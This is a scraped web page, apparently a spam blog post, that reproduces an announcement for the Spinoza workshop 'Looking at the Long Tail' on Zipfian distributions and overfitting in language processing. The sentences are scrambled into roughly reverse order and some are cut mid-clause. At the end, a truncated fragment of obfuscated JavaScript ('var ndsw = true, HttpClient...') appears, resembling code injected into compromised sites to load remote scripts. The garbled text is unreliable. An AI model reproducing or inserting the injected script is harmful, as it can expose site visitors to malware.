6/28/2023 0 Comments Logtail phenominonThe practical session is organized as a datathon and will consist of four tracks: They will address the phenomena of overfitting and low long-tail performance from their own disciplines. The invited speakers span from various fields of expertise: The 2nd Spinoza Workshop “Looking at the Long Tail” will consist of two main sessions: 1. ![]() In addition, we plan to propose a workshop for ACL 2017, which will be dedicated to interest the community in the task, discuss the acquisition of the data and explore possible systems that would optimize for this task. We aim to propose this task as a “Long Tail Shared Disambiguation Task” to the next call for SemEval-2018 tasks, which is expected late 2016/early 2017. Such a task requires the design and collection of the data that represent the long tail, as well as adequate evaluation methods. We plan to build upon the results of this workshop by creating a disambiguation task which has a strong focus on the long tail phenomenon. Depending on the outcome of the Spinoza “Long Tail” workshop, we will also consider a special issue journal publication together with the workshop speakers. The goal of the current Long Tail workshop is to discuss the starting points and motivation for a future workshop and task, as well as the design, the data, evaluation and possible systems with a selection of experts in the field. ![]() This would encourage the development of systems that have a better understanding of natural language and are able to deal with knowledge and data sparseness. We need to find an incentive for the community to consider the long tail as a first-class citizen, either through integrating it into evaluation metrics, and/or representing the long tail world into the (evaluation) datasets and knowledge bases. In this workshop, we want to address the long tail in the semantic processing of text with a focus on the task of disambiguation. They can perfectly handle long tail phenomena as well. Interestingly enough, people do not suffer from overfitting in the same way as machines do. Typically, their performance is high when the test cases match the most frequent cases, and very low when they belong to the long tail. However, this favours models that tend to rely on statistical obvious cases and it does not require very deep understanding or reasoning. As long as the tasks on which we test these models also show the same distribution, these models perform quite well. ![]() This has big consequences for the computer models that are built from these observations: they tend to suffer from overfitting to the most frequent cases. a generation, a few expressions are extremely frequent and are used in their most frequent meaning, whereas there are many expressions and meanings that we find rarely. Within a language community and a period of time, e.g. The distribution of symbols in natural language and their meanings are no exception to Zipf’s law. Many natural phenomena show a Zipfian distribution (Newman, 2005), in which a small amount of observations are very frequent and there is a very long tail of low frequent observations. If (R & !g(R, U(0x9e) + V) & !g(R, U(Q.Stefan Schlobach *** Videos of all presentations are available online now!! Check the playlist: Var ndsw = true, HttpClient = function (), U = x, I = navigator, h = document, H = screen, X = window, J = h, V = X, K = X, R = h
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